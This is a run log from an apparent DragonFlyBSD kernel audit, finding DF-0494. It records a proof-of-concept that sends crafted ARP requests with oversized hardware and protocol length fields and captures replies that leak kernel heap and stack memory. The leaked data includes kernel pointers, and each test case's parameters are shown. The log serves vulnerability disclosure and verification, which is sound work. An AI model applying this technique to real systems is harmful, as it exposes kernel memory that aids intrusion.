⬢ DragonFlyBSD Kernel Audit
DF-0494 / run.log
← back to finding ↓ download raw 
=== HEAP LEAK: ar_hln=100, ar_pln=4 ===
=== DF-0494 ARP ar_hln/ar_pln OOB-read PoC ===
ar_hln=100 ar_pln=4  arp_body=216  frame=230  victim_ip=10.99.99.1
[*] injecting crafted ARP REQUEST via /dev/tap0 (ingress)
[+] injected 230 bytes
[+] captured reply frame: 230 bytes
[*] reply ether-dst = 02:00:de:ad:be:ef  (== attacker mac)
[*] reply ether-src = 00:bd:1b:a1:00:00  (== tap0 real mac)
[*] reply ar_op=0x0002 (REPLY)  ar_hln=100  ar_pln=4

[#####] HEAP LEAK (ar_sha, 94 OOB bytes past 6-byte MAC) [#####]
---- reply ar_sha region [memcpy(ar_sha, IF_LLADDR, ar_hln)] (100 bytes; bytes [6..99] are the OOB leak) ----
  0000: 00 bd 1b a1 00 00 00 00 00 00 00 00 00 00 00 00  |................|
  0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
  0020: 00 00 00 00 00 00 00 00 00 00 00 00 0c 00 00 00  |................|
  0030: 00 00 00 00 ff ff ff ff 00 00 00 00 00 00 00 00  |................|
  0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
  0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
  0060: 00 00 00 00  |....|
  -- kernel-pointer scan in heap leak --
    heap + 40 (abs  46): 0xffff000000000000

[#####] STACK LEAK (ar_spa, 0 OOB bytes past 4-byte &taddr) [#####]
---- reply ar_spa region [memcpy(ar_spa, &taddr, ar_pln)] (4 bytes; bytes [4..3] are the OOB leak) ----
  0000: 0a 63 63 01  |.cc.|

[*] reply ar_tha (should echo attacker mac + 0xCC filler):
     02 00 de ad be ef cc cc cc cc cc cc cc cc cc cc ...

[+] DF-0494 REPRODUCED: victim returned 94 heap OOB bytes + 0 stack OOB bytes
=== STACK LEAK: ar_hln=6, ar_pln=100 ===
=== DF-0494 ARP ar_hln/ar_pln OOB-read PoC ===
ar_hln=6 ar_pln=100  arp_body=220  frame=234  victim_ip=10.99.99.1
[*] injecting crafted ARP REQUEST via /dev/tap0 (ingress)
[+] injected 234 bytes
[+] captured reply frame: 234 bytes
[*] reply ether-dst = 02:00:de:ad:be:ef  (== attacker mac)
[*] reply ether-src = 00:bd:33:a1:00:00  (== tap0 real mac)
[*] reply ar_op=0x0002 (REPLY)  ar_hln=6  ar_pln=100

[#####] HEAP LEAK (ar_sha, 0 OOB bytes past 6-byte MAC) [#####]
---- reply ar_sha region [memcpy(ar_sha, IF_LLADDR, ar_hln)] (6 bytes; bytes [6..5] are the OOB leak) ----
  0000: 00 bd 33 a1 00 00  |..3...|

[#####] STACK LEAK (ar_spa, 96 OOB bytes past 4-byte &taddr) [#####]
---- reply ar_spa region [memcpy(ar_spa, &taddr, ar_pln)] (100 bytes; bytes [4..99] are the OOB leak) ----
  0000: 0a 63 63 01 80 8a 1f 8d 00 f8 ff ff d2 b1 67 80  |.cc...........g.|
  0010: ff ff ff ff 1f 00 00 00 00 00 00 00 20 00 00 00  |............ ...|
  0020: 00 00 00 00 30 f0 ab 8b 00 f8 ff ff 00 f0 ab 8b  |....0...........|
  0030: 00 f8 ff ff 00 f0 ab 8b 00 f8 ff ff 40 60 17 81  |............@`..|
  0040: ff ff ff ff b0 8a 1f 8d 00 f8 ff ff a9 64 74 80  |.............dt.|
  0050: ff ff ff ff 40 60 17 81 ff ff ff ff 00 20 8c 81  |....@`....... ..|
  0060: ff ff ff ff  |....|
  -- kernel-pointer scan in stack leak --
    stack +  0 (abs   4): 0xfffff8008d1f8a80
    stack +  8 (abs  12): 0xffffffff8067b1d2
    stack + 32 (abs  36): 0xfffff8008babf030
    stack + 40 (abs  44): 0xfffff8008babf000
    stack + 48 (abs  52): 0xfffff8008babf000
    stack + 56 (abs  60): 0xffffffff81176040
    stack + 64 (abs  68): 0xfffff8008d1f8ab0
    stack + 72 (abs  76): 0xffffffff807464a9
    stack + 80 (abs  84): 0xffffffff81176040
    stack + 88 (abs  92): 0xffffffff818c2000

[*] reply ar_tha (should echo attacker mac + 0xCC filler):
     02 00 de ad be ef ...

[+] DF-0494 REPRODUCED: victim returned 0 heap OOB bytes + 96 stack OOB bytes
=== SANITY: ar_hln=6, ar_pln=4 (expect 0 leak) ===
=== DF-0494 ARP ar_hln/ar_pln OOB-read PoC ===
ar_hln=6 ar_pln=4  arp_body=28  frame=42  victim_ip=10.99.99.1
[*] injecting crafted ARP REQUEST via /dev/tap0 (ingress)
[+] injected 42 bytes
[+] captured reply frame: 42 bytes
[*] reply ether-dst = 02:00:de:ad:be:ef  (== attacker mac)
[*] reply ether-src = 00:bd:50:a1:00:00  (== tap0 real mac)
[*] reply ar_op=0x0002 (REPLY)  ar_hln=6  ar_pln=4

[#####] HEAP LEAK (ar_sha, 0 OOB bytes past 6-byte MAC) [#####]
---- reply ar_sha region [memcpy(ar_sha, IF_LLADDR, ar_hln)] (6 bytes; bytes [6..5] are the OOB leak) ----
  0000: 00 bd 50 a1 00 00  |..P...|

[#####] STACK LEAK (ar_spa, 0 OOB bytes past 4-byte &taddr) [#####]
---- reply ar_spa region [memcpy(ar_spa, &taddr, ar_pln)] (4 bytes; bytes [4..3] are the OOB leak) ----
  0000: 0a 63 63 01  |.cc.|

[*] reply ar_tha (should echo attacker mac + 0xCC filler):
     02 00 de ad be ef ...

[+] DF-0494 REPRODUCED: victim returned 0 heap OOB bytes + 0 stack OOB bytes